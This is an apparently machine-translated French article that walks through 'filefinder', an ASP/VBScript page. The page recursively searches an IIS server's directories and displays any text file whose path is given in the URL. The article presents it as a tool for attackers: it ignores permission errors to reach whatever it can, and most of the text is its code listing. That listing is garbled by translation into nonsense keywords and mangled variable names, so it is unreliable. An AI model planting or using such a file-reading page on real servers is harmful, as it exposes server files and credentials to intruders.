L'objet scripting.fileSystemObject est l'un des nombreux objets com fournis par scrrun.dll pour le contrôle VBScript / jscript. Scripting.FileSystemObject offre un accès très pratique aux fichiers texte et aux répertoires de fichiers, mais constitue également certaines menaces à la sécurité des données du serveur Web IIS.
Le code de filefinder est très simple, composé de 3 fonctions et 30 lignes de code séquentiel.
La chose la plus importante est la fonction FindFiles, qui met en œuvre la traversée d'un certain répertoire en l'appelant récursivement et recherche ces fichiers en fonction d'une extension de fichier spécifique.
fonction FindFiles (StrStartfolder, Strext)
dim n
sombre ohisfolder
décodeurs faibles
mât
tamisé
mât
'Si l'administrateur système définit soigneusement les autorisations du système de fichiers, le code suivant fera une erreur
'Mais certains répertoires peuvent toujours être consultés, nous ignorons donc simplement les erreurs
sur l'erreur reprendre ensuite
n = 0
réponse.write <b> Recherche & StrStartfolder & </b> <br>
Définissez ThatSisfolder = g_fs.getfolder (StrStartFolder)
Set OFILS = ALSIFFOLDER.FILES
pour chacun de ile dans oniles
'S'il s'agit de l'extension de fichier spécifiée, publiez le guide de connexion lui-même, mais utilisez une commande différente CMD
'Voici CMD = lire, c'est-à-dire, lisez le fichier texte avec le chemin physique spécifié
Si issuffix (onile.path, Strext) alors
Response.Write <a Target = _blank href = 'ff.asp? cmd = read & path = & server.htmlencode (onile.path) &'> <font color = 'dodgerblue'> & odile.path & </font> </a> <br>
Si err = 0 alors
n = n + 1
terminer si
terminer si
suivant
set des enneeurs = soit-ce que les sous-dossiers
pour chacun des plus âgés dans l'ancien
n = n + findfiles (ofolder.path, Strext)
suivant
findfiles = n
fonction finale
Le code suivant analyse les paramètres après URL:
'Lisez les valeurs de chaque paramètre
strcmd = ucase (request.querystring (cmd))
strpath = request.querystring (chemin)
Strext = request.Querystring (ext)
BrawData = ucase (request.querystring (brut))
'Recherche par défaut des fichiers .asp
Si strpath = alors
strpath =.
terminer si
Si Strext = alors
Strext = .asp
terminer si
'Exécuter différents codes en fonction de la commande différente CMD
Sélectionnez Case Strcmd
tronçonner de cas
Response.Write FindFiles (Strpath, Strext) et Fichier trouvés
Case Lire
Si Brawdata = T alors
Response.Write readtextfile (strpath)
autre
réponse.write <pre> & server.htmlencode (readtextfile (strpath)) & </pre>
terminer si
cas d'autre
réponse.write <h3> Veuillez spécifier une commande pour exécuter </h3>
fin de sélection
D'après l'analyse ci-dessus, nous pouvons voir que si nous avons des autorisations suffisantes, nous pouvons utiliser FileFinder pour trouver n'importe quel fichier texte sur le serveur Web IIS, et nous pouvons facilement afficher le contenu du fichier. Pour les fichiers non texte, il est possible de déterminer s'ils existent et où ils se trouvent, ce qui est parfois extrêmement important pour les pirates avancés.